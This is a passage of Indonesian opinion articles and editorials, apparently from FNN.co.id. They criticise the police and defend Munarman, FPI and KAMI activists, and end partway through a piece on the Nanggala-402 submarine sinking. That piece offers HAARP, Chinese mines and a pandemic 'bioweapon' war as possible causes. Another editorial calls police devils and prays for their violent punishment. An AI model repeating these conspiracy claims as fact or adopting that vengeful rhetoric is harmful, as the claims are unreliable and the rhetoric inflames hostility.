Penerbitnya adalah Imania. Cetatakan pertama tahun 2018. Sekali lagi bacalah baik-baik buku ini, karena kami percaya, dari sana pembaca FNN yang budiman memproleh hikmah apa yang terjadi dengan Kepolisian kita hari ini. Dengan demikian, pembaca FNN akan terbentuk perspektif yang masuk akal tentang bagaimana cara yang tepat dalam mengontrol dan mengendalikan arogansi Kepolisian ke depan. Oke, pembaca FNN yang budiman. Boleh saja ada yang mengatakan kalau arogansi Kepolisian terhadap Buya Hamka itu bisa terjadi oleh satu sebab yang mendasar. Sebab itu adalah mungkin saja kala itu belum ada Kitab Undang-Undang Hukum Acara Pidana (KUHAP) yang mengatur cara-cara kerja polisi yang bermartabat, berdasarkan hukum dan berkemanusiaan. Kala itu hukum acara masih didasarkan pada HIR peninggalan penjajah Belanda. Okelah kalau begitu. Tetapi apakah arogansi Kepolisian itu berhenti setelah KUHAP terbentuk pada tahun 1981 lalu? Masih ingatkah pembaca FNN kasus Karta dan Singkong? Setelah dua anak manusia ini dipenjara bertahun-tahun, muncul fakta baru yang menyangkal keduanya sebagai pembunuh korban. Masih ingatkah kasus Udin, jurnalis di Jogyakarta yang hilang, entah kemana? Majalah FORUM Keadilan edisi Nomor 20 Tahun V, tangga 13 Januari 1997 menulis kasus ini dengan sangat menarik. Dwi Sumadji, tersangka pembunuh wartawan Bernas, Fuad M. Sjafrudin dibebaskan dari tahanan. Polisi dianjurkan mencari terasangka lain. Lebih lanjut Majalah FORUM Keadilan menulis, penahanan terhadap Dwi Sumadji alias Iwik, tersangka kasus pembunuhan wartawan Bernas, Fuad M. Sjafrudfin, sudah ditangguhkan. Tidak urung, penangguhan tersebut mengesankan kalau polisi akhirnya kebingungan sendiri. Sebab, sudah bukan rahasia lagi bahwa Iwik hanya korban dari rekayasa penyelidikan dan penyidikan Polisi bejat ketika itu. Untuk mengukap kasus ini, banyak pihak ketika itu yang menyarankan agar polisi mulai menyidik tersangka alternatif. Oke itu urusan rekayasa kasus. Sekarang mari melihat penambahan jumlah Polda yang terjadi pada tahun 1996. Polda yang semala jumlahnya hanya 17, sejak tahun 1976 itu dimekarkan. Begitu istilahnya sesuai dengan jumlah provinsi. Praktis setiap provinsi ada Polda. Ini diresmikan pada tanggal 5 Oktober 1996. Lagi-lagi Majalah FORUM Keadilan edisi Nomor 14 Tahun V, tanggal 21 Oktober 1996 mempertanyakan efekfitas kehadiran Polda-Polda baru tersebut. Pertanyaan Majalah FORUM Keadilan itu berbunyi begini, “apakah penambahan Polda-Polda baru akan menjamin kinerja Polisi semakin baik dalam menangani kriminalitas? Majalah FORUM Keadilan tidak memiliki jawaban yang kongklusif. Majalah FORUM Keadilan hanya menyatakan masih harus menunggu kenyataan. Disisi lain Kapolri Jendral Polisi Drs. Dibyo Widodo menyatakan tujuannya adalah untuk memang meningkatkan pelayanan kepada masyarakat. Empat tahun setelah itu, gagasan pemekaran Polda-Polda tersebut direalisasikan. Namun tragisnya, publik Indonesia digemparkan dengan perilaku buruk seorang Wakapolres. Publik terhentak dengan pemberitaan Majalah FORUM Keadilan esisi nomor 39, tanggal 29 Oktober 2000 menurunkan berita dengan judul “Polisi Beking Itu Babak Belur”. Wakapolres Sinjai, Senior Inspektur Sapewali dan ajudannya Kopral Ahmad Patudani, keduanya diamuk masa masyarakat di daerah tersebut. Dua gigi sang Wakapolres sampai copot dibuatnya. Lalu, apa penyebabnya? Warga menduga Wakapolres Supewali adalah beking dari perjudian, pencurian ternak dan penjualan ballo (tuak) di Kabupaten Sinjai. Menggunakan judul “Pak Polisi”, Pemimpin Redaksi Karni Ilyas dalam catatan hukuk Majalah FORUM Keadilan edisi nomor 16, tanggal 25 Juli 1998 menulis begini, “penegakan hukum di hiruk-pikuk reformasi ini bukan semakin baik, malah membingungkan. Berbagai aparat hukum lebih terkesan meriah, tetapi tidak memberikan kepastian hukum apa-apa”. Karni Ilyas selanjutnya menulis, “ketika masyakarat mengharapkan Polisi melakukan tindakan-tindakan untuk memberi rasa aman, Polisi justru melakukan tindakan sepele yang mengundang perdebatan luas. Misalnya, pekan-pekan ini, tiba-tiba saja polisi memperkarakan media cetak yang menyiarkan tulisan dan gambar-gambar yang dianggap porno”. (bersambung). Penulis adalah Wartawan FNN.co.id.

Mengapa Penguasa Kesulitan Meneroriskan Munarman

by Asyari Usman Medan, FNN - Para penguasa mengalami kesulitan besar untuk meneroriskan Munarman dan FPI secara keseluruhan. Sudah dilakukan berbagai cara untuk mengaitkan mereka dengan kegiatan terorisme, tapi tidak juga dipercaya oleh publik. Masyarakat melancarkan gempuran narasi yang melawan upaya para penguasa untuk melabelisasi Munarman dan FPI sebagai pelaku teror. Bahkan, para vokalis non-muslim yang ‘seharusnya’ mendukung labelisasi teroris itu, balik menolak. Ambil contoh Roy Pakpahan, seorang aktivis sekaligus pengacara. Roy marah Munarman disebut teroris. Begini kata Roy Pakpahan begitu mendengar Munarman ditangkap. “I stand with Maman. Teroris pala lu. gereja hkbp di Cinere tempat bapak sy beribadah awalnya tidak bisa berdiri. Orang takut beribadah. Maman bilang klu mmg srt ijin sudah ada dan lkp, ya bangun sj. Klu ada yg ganggu kabarin gue, kata Maman. Skrg gereja hkbp cinere, salah satu rumah ibadah terbesar di cinere.” Ada lagi aktivis Katolik. Namanya Aloysius Hartono. Dalam tulisan bertanggal 29 April 2021 yang beredar di grup-grup WA, Aloysius mengatakan, “Walaupun eFPeI sudah sedemikian pasif, sudah tiarap sejak akhir Desember 2020 lalu, tetapi sebaliknya polisi justru semakin beringas untuk membunuh karakter eFPeI dengan narasi ‘teroris, ISIS, bom, dan sejenisnya.” Banyak orang non-Muslim yang membela Munarman dan juga FPI. Tak mungkin diuraikan satu per satu di sini. Mereka mengimbau agar cara-cara kotor terhadap FPI dihentikan. Di kalangan publik secara keseluruhan, kecuali segelintir orang yang anti-Islam dan islamofobis, reaksi terhadap penangkapan Munarman juga sinis. Di media sosial (medsos), netizen mencibiri tindakan polisi menangkap pengacara HRS itu. Mereka pun mencecar habis penemuan “serbuk bom” ketika polisi menggeledah bekas kantor Front di Petamburan. Ada beberapa hal yang menyebabkan publik tak percaya Munarman dan FPI terkait teroris. Pertama, sejak awal berdiri hingga pembunuhan KM-50, tidak pernah ada tindakan FPI yang berindikasi terorisme. Baru setelah ada masalah besar yang memojokkan Polri –dan juga lembaga keamanan lain— terkait pembunuhan 6 pengawal HRS, 7 Desember 2020, muncullah tiba-tiba sejumlah peristiwa kekerasan yang terkesan sengaja dikaitkan dengan FPI. Kedua, publik sejak lama mengenal FPI sebagai organisasi sosial yang sangat ringan tulang dengan aksi tanggap darurat ketika terjadi bencana alam di berbagai pelosok. Seringkali bantuan FPI tiba paling duluan. Catatan ini menyebabkan publik sulit percaya ketika sekarang Munarman dan FPI dikaitkan dengan tindakan terorisme. Ketiga, pihak-pihak yang bernafsu mengaitkan FPI, Munarman, dll, dengan aksi teror, sudah sangat terlambat. Seharusnya mereka lakukan belasan tahun yang lalu. Misalnya, ketika terjadi aksi ledakan bom besar di Bali, Jakarta, dan tempat-tempat lain. Kalau pada waktu itu “disusupkan” orang untuk mendemonisasi (menjelekkan) FPI, ada kemungkinan sukses. Tetapi, itu pun belum tentu bisa. Karena memang FPI, HRS, Munarman tidak punya misi terorisme. Mereka memang keras dalam mencegah kemungkaran tetapi tidak dengan teror. Jadi, masyarakat tidak percaya kalau orang-orang FPI disebut teroris. Selama ini, aksi-aksi cegah dengan tangan tidak pernah mereka lakukan secara “coward” (pengecut). Mereka langsung menghadapi para pelanggar aturan secara jantan. Tindakan keras baru dilakukan oleh FPI setelah pelanggar aturan (khususnya aturan moralitas terkait tempat pelacuran, tempat hiburan ilegal, minuman keras, dlsb) tidak menggubris peringatan tertulis yang mereka sampaikan. Bahkan, sebelum mereka melakukan apa-apa, FPI biasanya melaporkan kepada aparat penegak hukum kalau ada pelanggaran yang mereka jumpai. Baru setelah aparat tidak bertindak, personel FPI turun tangan. Terorisme jauh dari konsep ‘nahi munkar’ (cegah kejahatan) yang dilakukan oleh FPI, HRS, Munarman, dan jemaah mereka. Mereka bukan orang liar dan bukan pula orang bodoh yang melakukan tindakan teror dengan alamat lengkap organisasi. Pelanggaran HAM berat KM-50 benar-benar menggelisahkan para penguasa. Cepat atau lambat, kebenaran akan terungkap. Sebagai pengacara yang handal dan punya banyak jaringan, Munarman sangat berpotensi untuk menggali kebenaran KM-50. Satu-satunya cara cepat bagi penguasa untuk mencegah itu adalah meneroriskan Munarman. Namun, sekali lagi, publik tidak percaya Munarman teroris. Yang percaya hanya para buzzer penguasa seperti Denny Siregar, Abu Janda dan gerombolan mereka.[] Penulis adalah Wartawan Senior FNN.co.id

Syahganda Dihukum 10 Bulan, Haruskah Disyukuri

By Asyari Usman Medan, FNN - Kalau tak salah memahami berita, sebagian orang cenderung mensyukuri hukuman 10 bulan penjara untuk aktivis Koalisi Aksi Menyelamatkan Indonesia (KAMI), Dr Syahganda Nainggolan. Artinya, hukuman itu mungkin saja dilihat sebagai ‘kemenangan’. Hukuman atas aktivis 1998 itu dijatuhkan oleh majelis hakim Pengadilan Negeri Depok pada 29 April 2021. Syahganda dinyatakan bersalah menyebarkan berita yang tidak utuh atau dianggap berlebihan terkait Onnibus Law. Bisa jadi hukuman 10 bulan itu dianggap ‘sangat ringan’ dibanding tuntutan Jaksa yang meminta agar Syahganda divonis 6 tahun penjara. Kalau dilihat dari tuntutan Jaksa, ada betulnya hukuman 10 bulan adalah kemenangan besar. Selesai vonis dibacakan, para pendukung Syahganda meneriakkan takbir di ruang sidang. Melihat suasana yang ada, pekikan “Allahu Akbar” lebih cocok ditafsirkan sebagai pertanda kesyukuran bahwa hukuman itu jauh lebih ringan. Tentu tafsiran lain bisa juga. Jika dilihat dari konteks yang ada, memang wajar jika ada yang ‘bersyukur’. Memang faktanya hukuman itu sangat ringan dibandingkan nafsu Jaksa. Cuma, kalau dipandang dari sisi lain, vonis itu seharusnya dilihat sebagai ketidakadilan. Sebab, Syahganda tidak pantas dihukum berdasarkan dakwaan Jaksa. Dia seharusnya dibebaskan. Dan penahanan atas dirinya, dan juga orang-orang lain yang didakwa dalam kasus yang sama, seharusnya dianggap melanggar asas penegakan hukum. Sebab, aktivis KAMI itu hanya menyampaikan pendapat poltik yang dijamin oleh konstitusi negara. Dia bukan menyebar berita sepotong apalagi memprovokasi. Artinya, para penguasa menggunakan instrumen hukum untuk memenjarakan orang-orang yang menentang kebijakan pemerintah. Syahganda hanya menyuarakan perbedaan pendapat tentang Omnibus Law. Jadi, Syahganda tidak melakukan tindak pidana. Dia tidak menghasut publik. Tidak pula menimbulkan ancaman terhadap keamanan negara dan masyarakat. Itulah sebabnya hukuman 10 bulan itu bukanlah kemenangan yang biasanya disyukuri. Hukuman itu adalah bentuk kezaliman, ketidakadilan. Sangat aneh kalau ada yang bersyukur.[] (Penulis, wartawan senior FNN.co.id)

Bachtiar Chamsyah Kasihan Sama Jokowi

Bukan hanya rakyat enggan menyematkan panggilan 'pak' pada Jokowi. Akan tetapi, sebutan-sebutan lain yang lebih bernada ejekan. Suatu yang tak pernah terjadi pada kepala-kepala negara sebelumya. by Rahmi Aries Nova Jakarta, FNN - PERJUANGAN Koalisi Aksi Mnyelamatkan Indonesia (KAMI) sungguh tak mudah. Sejak dideklarasikan di Tugu Proklamasi 18 Agustus tahun lalu, kehadiran KAMI langsung dianggap 'musuh negara' oleh pemerintah. Bukan hanya deklarasi-deklarasi di daerah-daerah yang dihalangi, pentolan-pentolan KAMI pun ditangkapi dan diadili. Beberapa di antara mereka adalah Komite Eksekutif KAMI Syahganda Nainggolan dan Jumhur Hidayat, serta salah satu deklarator KAMI Anton Permana. Total 8 orang ditangkap pada 12-13 Oktober 2020. "Terus terang, reaksi pemerintah yang demikian membuat sebagian dari anggota KAMI mundur teratur. Tapi sebagian besar memilih terus berjalan," kata Bachtiar Chamsyah pada FNN, Jumat (30/4). Bachtiar yang mantan menteri sosial dan politis kawakan dari Partai Persatuan Pembangunan (PPP) mengaku terkadang mereka harus kucing-kucingan dengan aparat untuk suatu yang sebenarnya kegiatan pertemuan yang biasa saja. "Asal deklarasi atau pertemuannya tidak dihadiri Pak Gatot (Gatot Nurmantyo, satu dari tiga presidium KAMI) pasti acaranya lancar. Sebaliknya kalau ada, pasti akan dihalang-halangi. Baik dengan pendemo bayaran atau aparat," ujar Bachtiar lagi. Di lain waktu mereka juga harus selalu siap untuk berpindah-pindah lokasi deklarasi karena ada pihak-pihak yang sengaja melemparkan berita hoax. Misalnya, di tempat yang akan mereka jadikan tempat deklarasi akan ada pembagian sembako atau tabligh akbar yang akan memancing masyarakat untuk datang berkerumun. "Kami pernah berganti lokasi sampai tiga hingga empat kali," katanya dengan nada kegelian. Meski lumayan melelahkan, tapi Bachtiar mengaku justru banyak yang mereka dapatkan dari perjalanan ke berbagai daerah. "Masyarakat resah dan lelah. Tingkat kepercayaan pada pemerintah melorot drastis. Sebagai orang yang pernah sembilan tahun di pemerintahan (jadi Mensos). Ini sangat berbahaya," jelas pria kelahiran Aceh itu. Ia mengaku belum pernah melihat bagaimana tidak hormatnya masyarakat menyebut kepala negaranya seperti saat ini. Bukan hanya rakyat enggan menyematkan panggilan 'pak' pada Jokowi. Akan tetapi, sebutan-sebutan lain yang lebih bernada ejekan. Suatu yang tak pernah terjadi pada kepala-kepala negara sebelumya. "Saya kasihan sama Pak Jokowi. Saya ingin baik saat menjabat atau pun nanti sesudahnya ia tetap dipanggil dengan penuh rasa hormat," ujarnya. Tentu bukan maksud Bachtiar dan KAMI untuk menakut-nakuti. Karena sesungguhnya keresahan dan ketidakpercayaan masyarakat pada Jokowi dan pemerintah justru sangat gamblang dan terlihat jelas di media sosial yang saat ini menjadi media mainstream alias media arus utama. Media yang amat mempengaruhi banyak orang dan menjadi refleksi keadaan yang tengah terjadi. Pemerintah sendiri saat ini suka tidak suka juga mengakui kalau media sosial adalah media mainstream, terbukti dengan dikeluarkannya dana 'unlimited' bagi buzzer-buzzer yang mereka kerahkan di medsos untuk memuji-muji kinerja Jokowi dan pemerintah. Pujian berbayar yang sangat berbahaya, mengaburkan fakta, dan bisa menggiring ke tepi jurang bencana. ** Penulis adalah Wartawan Senior FNN.co.id.

Kami Bersama Munarman

SAMPAI saat ini apa status mantan Sekretaris Umum .Front Pembela Islam .(Sekum FPI), Munarman belum jelas. Munarman ditangkap oleh pasukan Detasemen Khusus (Densus) Polri, Selasa (27/4). Pengacara dan keluarga mengaku belum bisa bertemu. Mereka mengaku disodori surat penangkapan saat mencoba menemui Munarman di Polda Metro Jaya. Namun surat tersebut ditolak. Karena tidak sesuai prosedur. Sejauh ini terdapat dua versi keterangan dari polisi, mengapa mantan Direktur Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI) itu ditangkap. Kapolres Jakarta Selatan Kombes Pol Hengki Haryadi mengatakan, penangkapan itu berkaitan dengan tindak pidana terorisme. Sebaliknya Kepala Dinas Penerangan Umum Mabes Polri Kombes Pol Ahmad Ramadhan mengatakan, Munarman belum ditetapkan sebagai tersangka. Hal itu tentu saja sangat aneh. Seorang warga negara ditangkap tidak dengan status yang jelas. Tangkap dulu urusan status menyusul kemudian. Sungguh mengkhawatirkan sekaligus menakutkan. Hal itu bisa terjadi di negara yang mengaku menjunjung tinggi hukum, dan menghormati hak konstitusional seorang warga negara. Lepas dari berbagai kontroversi tadi, sesungguhnya tanda-tanda Munarman menjadi target, sudah terbaca dengan jelas. Sejak beberapa waktu lalu isu kehadiran Munarman dalam bai’at sejumlah anggota FPI di Makassar berhembus kembali cukup kencang. Polanya juga sangat baku. Isu itu digoreng oleh para buzzer pro pemerintah. Peristiwa itu terjadi pada tahun 2015. Sudah lama berselang. Kalau memang sudah ada bukti, mengapa Munarman tidak ditangkap sejak dulu. Peristiwa itu dimunculkan kembali bersamaan dengan proses pengadilan terhadap mantan Imam Besar FPI, Habib Rizieq Shihab. Di antara para mantan petinggi FPI, tinggal Munarman yang tidak ditangkap. Dia masih bebas di luar penjara. Ketua Umum FPI Ahmad Shobri Lubis dan para petinggi lainnya juga ditahan dalam peristiwa kerumunan di Petamburan. Sebagai Pengacara Habib Rizieq, Munarman tampil garang di pengadilan. Dia bahkan sempat memimpin aksi walk out ketika hakim menolak permohonan agar persidangan dilakukan secara off line. Tak lama kemudian muncul kembali pengakuan seorang mantan anggota FPI yang ditangkap oleh Densus 88, bahwa mereka telah berbai’at dengan ISIS. Dalam bai’at itu Munarman hadir. Video pengakuan ini disebar secara massif di media sosial. Polisi kemudian melakukan penangkapan sejumlah mantan anggota FPI menyusul terjadinya ledakan bom bunuh diri di Gereja Katedral Makassar. Tidak lama kemudian publik dikejutkan dengan temuan sebuah bungkusan di kawasan Limo, Depok, Jabar. Bungkusan yang ditemukan di belakang sebuah warung itu bertuliskan “Munarman FPI.” Tim gegana diturunkan, dan menurut kesaksian media, benda tersebut berupa sebuah magazin dengan beberapa butir peluru. Tidak ada kelanjutan kasus temuan benda mencurigakan dengan nama Munarman itu. Namun dari berbagai peristiwa itu kita bisa membuat sebuah rangkaian, Munarman menjadi target. Di tengah ketidakjelasan itu kini tiba-tiba beredar video CCTV Munarman sedang check in di sebuah hotel bersama wanita. Video itu disebar sebuah akun dengan narasi seolah Munarman, Sekum FPI, pembela HAM itu tak lebih seorang durjana yang senang berselingkuh. Pola ini mengingatkan kita pada kasus skandal chat mesum yang seolah dilakukan oleh Habib Rizieq Shihab. Ada upaya pembunuhan karakter terhadap Munarman. Belakangan terungkap, ternyata wanita yang bersama Munarman itu adalah istri yang dinikahinya secara sah. Akan tetapi, para buzzer dan para pendengki sudah menggoreng habis sampai gosong. Mereka tak peduli bahwa saat ini tengah bulan Ramadhan. Umat Islam diminta mengendalikan diri, dan memperbanyak amal perbuatan baik. Mereka malah menyebar fitnah secara membabi buta. Seluruh rangkaian peristiwa tadi menyadarkan kita, ada skenario besar menghabisi Munarman. Bahkan menghabisi FPI. Bisa jadi Munarman hanya target antara. Target utamanya adalah Habib Rizieq Shihab. Sebagaimana dikatakan pengamat terorisme Sidney Jones, penguasa saat ini terobsesi menjadikan FPI sebagai teroris. Apapun dan bagaimanapun caranya, harus terwujud. Situasi ini sungguh sangat berbahaya. Negara dan aparat keamanan sudah berubah menjadi sebuah organized crime. Kejahatan terorganisir dengan sasaran para warga negaranya sendiri. Kendati begitu, kita masih bersyukur di tengah situasi semacam ini masih banyak akal sehat yang bekerja. Seorang aktivis, pemimpin redaksi Law and justice.co Dr. Roy T Pakpahan secara berani memberi testimoni. Dia tidak yakin figur seperti Munarman terlibat dalam aksi terorisme. Roy mengaku Munarman pernah membantunya mendukung pembangunan gereja HKBP di Cinere, Depok. Roy Pakpahan bahkan secara tegas menyatakan akan berdiri bersama Munarman. "We Stand With Munarman!” tegasnya. Sejumlah aktivis LBH di Makassar, termasuk 4 orang mantan Direktur LBH Makassar juga menyatakan sikap yang sama. Mereka membela Munarman dalam sebuah gerakan yang disebut sebagai “Korsa Munarman.” Salah seorang di antara mereka adalah mantan Bupati Sinjai Andi Rudianto Asapa yang juga pernah menjadi Direktur LBH Makassar. Mereka akan membela Munarman dan menilai Densus 88 telah berlaku sewenang-wenang. Melalui editorial ini FNN juga mengingatkan, agar pemerintah dalam hal ini Polri kembali ke jati dirinya sebagai pengayom dan pelindung.masyarakat. Polri jangan menjadi alat penguasa. Menangkap seorang warga negara secara sewenang-wenang, tanpa mengindahkan kaidah hukum dan due process of law. Sebuah proses hukum, peradilan pidana yang benar, dengan memenuhi prosedur yang ada, adil dan tidak memihak. Pemerintah juga harus menghentikan kebiasaan buruk menggunakan para buzzer, melakukan pembunuhan karakter terhadap mereka yang kritis terhadap pemerintah. Sadarlah! Anda semua sedang berpesta merayakan perpecahan. Pada gilirannya menghancurkan NKRI, sebuah slogan kosong yang sering Anda ucapkan, tanpa tahu maknanya. We Stand With Munarman!

Polisi Sedang Memanen Istidraj

APA yang tidak bisa dilakukan polisi hari ini? Disokong dana yang besar, peralatan canggih, dan sumber daya manusia yang terlatih mereka bisa melakukan apa saja, sesukanya, bahkan melanggar hukum pun, tidak jadi soal. Di mata mereka tidak ada yang tak mungkin. Semua halal demi ambisi mereka. Padahal, sesungguhnya polisi sedang menumpuk dosa. Mereka sedang menikmati gelimang istidraj. Mereka tidak sadar bahwa saat ini mereka tengah dihadiahi azab berbentuk kenikmatan oleh Allah. Maka mereka bebas berbuat zalim, tetapi tetap diagungkan. Semena-mena tetapi tetap berkuasa. Leluasa mempertontonkan ketidakadilan kepada si lemah, tanpa sadar bahwa wajah Allah terletak pada orang-orang miskin dan rakyat yang teraniaya. Polisi juga sedang menabung musuh. Tiap kali ada ulama, pejuang, atau rakyat tak berdosa yang dizalimi, saat itu pulalah bertambah manusia calon penganiaya polisi. Hingga suatu saat akan membludak jumlah manusia yang nekat ingin membalaskan dendamnya. Dengan brutal, sadis, dan kejam. Hingga mata polisi akan terbelalak, tidak menyangka bahwa azab neraka jahanam telah hadir lebih cepat di depan mata mereka. Kejahatan mereka dibayar cash di dunia. Bayangkan. Ketika polisi mempersekusi Imam Besar Habib Rizieq Shihab, berapa juta rakyat yang dalam sekejap mata telah dijadikan musuh besar oleh polisi. Saat membui Syahganda Nainggolan dan kawan-kawan, berapa ribu aktivis berbagai organisasi yang mengutuk polisi. Di kala Munarman diseret dan dibutakan matanya dengan tutup kain hitam, berapa banyak rakyat yang heran ternganga dan kemudian marah sembari menumpahkan sumpah serapah kepada polisi. Di malam jahanam ketika 6 Syuhada FPI tewas dibantai, disayat-sayat tubuhnya, dan diberondong peluru sekujur badan mereka, berapa malaikat yang menyaksikan, menangis, dan melaknat perbuatan biadab polisi itu. Jadi, jangan heran kalau kebinasaan polisi nanti akan sangat mengerikan. Tak akan sanggup kita melihatnya, terlebih jika sebagian di antara mereka adalah kerabat dan keluarga kita. Mereka, para polisi yang baik pun, akan ikut menanggung azab karena diam ketika ketidakadilan merajalela. Lebih takut tidak bisa makan, ketimbang menegakkan hukum Allah. Polisi saat ini telah menjadi musuh bersama. Tidak salah jika ada yang memplesetkan kepanjangan PKI menjadi Polisi Komunis Indonesia. Tidak heran rakyat sudah menjadikan polisi sebagai common enemy. Buktinya, hati rakyat tak tenang tiap kali bertemu polisi. Sebisa mungkin tidak berhubungan dengan polisi. Ada sebagian rakyat jika melihat polisi seperti melihat setan. Sampai-sampai seragam coklat polisi diidentikkan dengan isi WC (Wereng Coklat) yang berwarna coklat kehitaman. Persis seperti hitam pekatnya mental polisi di bawah rezim liar sekarang. Sambil berpesta-pora dan menyebarkan tawa iblis, sesungguhnya polisi sedang menuju kepunahannya. Istidraj dari Allah adalah sesuatu yang betul-betul telah melenakan mereka. Korps berseragam coklat dan hitam itu tidak paham bahwa tangan-tangan berpeluru dan kaki-kaki bersepatu laras mereka yang jumawa menginjak hak para pencari keadilan itu, sesungguhnya sedang berbaris menuju jahanam. Jutaan rakyat tak berdosa dari seluruh penjuru Nusantara saat ini tengah menangis. Tidak rela ulama difitnah, kiai ditangkapi, ustaz mereka dipersekusi, dan agama Islam diradikalisasi. Juga aktivis mereka yang kritis dibui. Dari jutaan mulut rakyat yang merasa dizalimi itu, kini menggema doa-doa yang belum pernah mereka panjatkan sebelumnya. Doa yang sebenarnya mereka pun tak tega mengucapkannya. Dengan hati tersayat, benak menahan kepedihan, wajah berurai air mata, jari jemari tertangkup menengadah, dan bibir yang bergetar menahan amarah, doa maha dashyat pun dilantunkan. Rakyat meminta agar laknat cepat diturunkan kepada polisi, oligarki, rezim, dan buzzerp yang menjadi penjahat bagi kaumnya sendiri. Rakyat memohon agar Allah segerakan azab yang amat sangat pedih kepada mereka! Karena rakyat tahu tidak ada hijab di antara doa orang yang teraniaya dengan Allah Azza wa Jalla. Tiada penghalang antara Allah dengan makhluk-Nya. Doa-doa umat teraniaya itu akan terbang melesat menembus langit, langsung kepada Sang Pencipta. Tanpa menunggu Malaikat menyampaikannya. Semoga Allah Subhanallahu Wataala mengabulkan semua doa rakyat Indonesia, khususnya yang merasa dianiaya dan dizalimi.**

Nanggala Karam Sisakan Misteri Sejumlah Asumsi Pun Merebak

By Mochamad Toha Surabaya, FNN - Sebelum KRI Nanggala-402 ditemukan, KSAL Laksamana TNI Yudo Margono mengungkap banyak hal ditemukan unsur TNI yang terlibat dalam pencarian di sekitar titik terakhir KRI Nanggala 402 menyelam dan hilang. Ditemukan objek misterius terdeteksi kapal perang penyapu ranjau (Minesweeper) KRI Pulau Rimau-724. Objek misterius itu ditemukan terdeteksi dalam posisi melayang di bawah permukaan laut. Objek itu dari getaran magnet yang ditimbulkan objek tersebut. Dan daya getarannya cukup besar. Objek itu terdeteksi melayang di kedalaman antara 50 hingga 100 m dari bawah permukaan laut (bpl). “KRI Rimau itu menemukan suatu kemagnetan yang tinggi pada satu titik,” kata Laksamana TNI Yudo Margono, dilansir dalam keterangan resmi di Bali. Kecepatan objek misterius ini sekitar 2,5 knot. Untuk mengetahui pasti apa sebenarnya objek bermagnet besar yang terdeteksi KRI Pulau Rimau, TNI mengerahkan Kapal Bantu Hidro-Oseanografi (BHO), KRI Rigel 933. Kapal yang berada di bawah kendali Satuan Survei Hydro-oseanografi Dishidros TNI AL ini memang memiliki peralatan canggih seperti AUV (Autonomous Underwater Vehicle) yang mampu melakukan pencitraan di bawah laut hingga kedalaman 1.000 m. Sebelum hilang, KRI Nanggala-402 sempat menyampaikan isyarat-isyarat tempur beberapa saat sebelum mereka menyelam. Isyarat-isyarat peran tempur, peran menyelam itu masih bisa terdengar dari kapal penjejak Kopaska yang berada di jarak 50 m. Dengan adanya isyarat seperti itu, KSAL meyakini kapal tidak mengalami blackout. Artinya, sistem kelistrikan dari kapal masih menyala. Jika demikian, cadangan oksigen di kapal bisa mencapai 5 hari. Kalau kapal blackout hanya bisa 72 jam. Tapi, kalau kelistrikan hidup bisa sampai 5 hari. Nanggala-402 memiliki baterai berkapasitas 4 x 120 sel baterai. Namun, seperti operasi kapal selam pada umumnya, mereka dituntut naik ke permukaan untuk mengisi kembali cadangan oksigen dan mengecas baterai. Hingga kini, penyebab sebenarnya terkait dengan karamnya KRI Nanggala-402 belum juga terungkap. Tapi, dari dua pernyataan KSAL di atas itu sebenarnya kita bisa menelisik apa yang dialami kapal selam buatan Jerman yang sebenarnya. Pertama, adanya objek misterius yang melayang di bawah permukaan laut dengan kecepatan sekitar 2,5 knot. Benda bergerak di kedalaman 50 hingga 100 m di bawah permukaan laut. Objek misterius apakah ini? Kedua, isyarat tempur, berarti ada musuh, bukan latihan lagi! Apakah mungkin itu adalah drone bawah air seperti yang pernah ditemukan nelayan Pulau Selayar tempo hari itu? Jangan-jangan drone ini berfungsi sebagai transmiter untuk teknologi HAARP (High Frequency Active Auroral Research Program). Instrumen terpenting di HAARP Station itu adalah Ionospheric Research Instrument (IRI), fasilitas bertenaga tinggi yang beroperasi di gelombang IRI digunakan untuk memberi kejut sementara pada sebagian kecil wilayah. Instrumen lainnya, seperti digisonde, dan magnetometer induksi, dipakai untuk mempelajari proses fisik yang terjadi di wilayah kejut ini. Apakah objek misterius seperti kata KSAL di atas, sehingga perlu mengirim isyarat tempur? Ada sebuah tulisan dari HI Sutton, penulis dan pengamat maritime khusus perang bawah air yang berkontribusi pada US Naval Institute News berjudul "Underwater Drone Incidents Point Underwater Drone Incidents Point to China’s Expanding Intelligence Gathering". Pengungkapan ini untuk menjawab potensi adanya gangguan terhadap kapal selam Nanggala-402 di luar masalah teknis. Selain itu, ada keanehan pada sikap salah kekuatan maritime yang tengah naik daun seperti China ini. Pada kondisi terkini China tengah beroperasi besar besaran untuk perluasan territory lautnya di Laut China Selatan (LCS). Namun, anehnya negara ini malah tidak berkomentar, apalagi berpartisipasi pada operasi kemanusiaan musibah kapal selam Nanggala-402. Berbeda dengan empati negara di seputaran Indonesia seperti Singapura, Malaysia,Australia, Korea Selatan, bahkan India, Turki, Jerman, dan Amerika Serikat pun turun ikut membantu dengan kapal dan pesawatnya. Padahal, China juga sedang memenangkan investasi besar-besaran di Indonesia (termasuk kabel bawah laut Huwaei yang menjadi tulang punggung Palapa Ring). Bahkan torpedo yang dipakai oleh Nanggala-402 itupun produksi China Apa sebab? Tak ada yang bisa menjawab kecuali Beijing sendiri. Apakah sikap diamnya itu karena China tengah melakukan operasi intelijen bawah air kepada Indonesia? Sekarang ini bawah laut kita sudah ramai seperti pasar malam. Seorang teman menyimpulkan: 1) Sejak 2020 ditandai dengan Pandemi Coronavirus, secara resmi itu sudah berlangsung PD III, dengan titik perang, Laut China Selatan sebagai epicentrum, dan Indonesia sebagai lahan perang plus Area yang diperebutkan; 2) Peperangan dilakukan dengan: 1) Bioweapon; 2) Gelombang dengan teknologi HAARP; 3) Laut. Ketiganya menggunakan Taktik Perang Invisible. Sebuah akun Twitter Intelektual Jadul @plato_ids 4:28 AM 26 Apr 21 menulis: “Saat ini petinggi TNI digegerkan dengan temuan banyaknya ranjau bawah laut di sekitar lokasi tenggelamnya KRI Nanggala-402. Hasil pantauan pesawat intai Poseidon P-8 Amerika simpulkan ranjau tersebut ditanam angkatan laut komunis China.” Nanggala Blackout Ada penjelasan menarik dari Laksamana Muda TNI Iwan Isnurwanto, MAP, MTr yang sejak sejak 26 April 2021 menjabat Panglima Komando Armada II. Saat KRI Nanggala-402 hilang, Laksda Iwan masih menjadi Komandan Sekolah Staf dan Komando Angkatan Laut. Mantan Danseskoal itu mengaku tidak lagi mampu menahan rasa dukanya kehilangan para prajurit terbaiknya yang mengawaki Nanggala-402. “Waktu saya ikut mengawaki Nanggala, pernah mengalami apa yang namanya blackout,” ujarnya, Rabu (28 April 2021). Berikut penjelasan lengkapnya yang dikutip dari tayangan KOMPAS-tv : Waktu saya ikut mengawaki KRI Nanggala, pernah mengalami 